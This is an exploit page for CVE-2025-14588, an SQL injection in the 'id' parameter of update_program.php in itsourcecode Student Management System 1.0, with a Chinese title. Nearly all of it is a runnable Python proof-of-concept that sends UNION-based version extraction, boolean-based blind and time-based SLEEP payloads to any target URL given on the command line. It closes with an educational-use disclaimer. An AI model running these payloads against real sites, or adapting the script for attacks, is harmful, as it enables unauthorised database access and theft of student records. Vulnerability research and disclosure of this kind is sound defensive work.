CVE-2025-14588 itsourcecode学生管理系统update_program.php SQL注入漏洞

import requests import sys # CVE-2025-14588 SQL Injection PoC for itsourcecode Student Management System 1.0 # Target: /update_program.php # Vulnerability: SQL Injection in ID parameter def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in update_program.php Args: target_url: Base URL of the vulnerable application payload: SQL injection payload Returns: Response from the server """ # Construct the vulnerable URL vuln_url = f"{target_url}/update_program.php?id={payload}" try: response = requests.get(vuln_url, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-14588.py <target_url>") print("Example: python cve-2025-14588.py http://target.com/student") sys.exit(1) target = sys.argv[1].rstrip('/') print("[*] CVE-2025-14588 SQL Injection PoC") print(f"[*] Target: {target}") # Test basic SQL injection - extract database version print("\n[*] Testing basic SQL injection...") payload = "1' UNION SELECT NULL,version(),NULL,NULL,NULL-- -" print(f"[*] Payload: {payload}") response = exploit_sqli(target, payload) if response and response.status_code == 200: print("[+] Request sent successfully") print(f"[+] Response length: {len(response.text)} bytes") # Boolean-based blind SQL injection example print("\n[*] Boolean-based blind SQL injection test...") true_payload = "1' AND 1=1-- -" false_payload = "1' AND 1=2-- -" exploit_sqli(target, true_payload) print(f"[+] True condition payload: {true_payload}") exploit_sqli(target, false_payload) print(f"[+] False condition payload: {false_payload}") # Time-based blind SQL injection example print("\n[*] Time-based blind SQL injection test...") time_payload = "1'; SELECT SLEEP(5)-- -" print(f"[*] Time-based payload: {time_payload}") exploit_sqli(target, time_payload) print("\n[!] This is a PoC for educational purposes only!") print("[!] Do not use without proper authorization.") if __name__ == "__main__": main()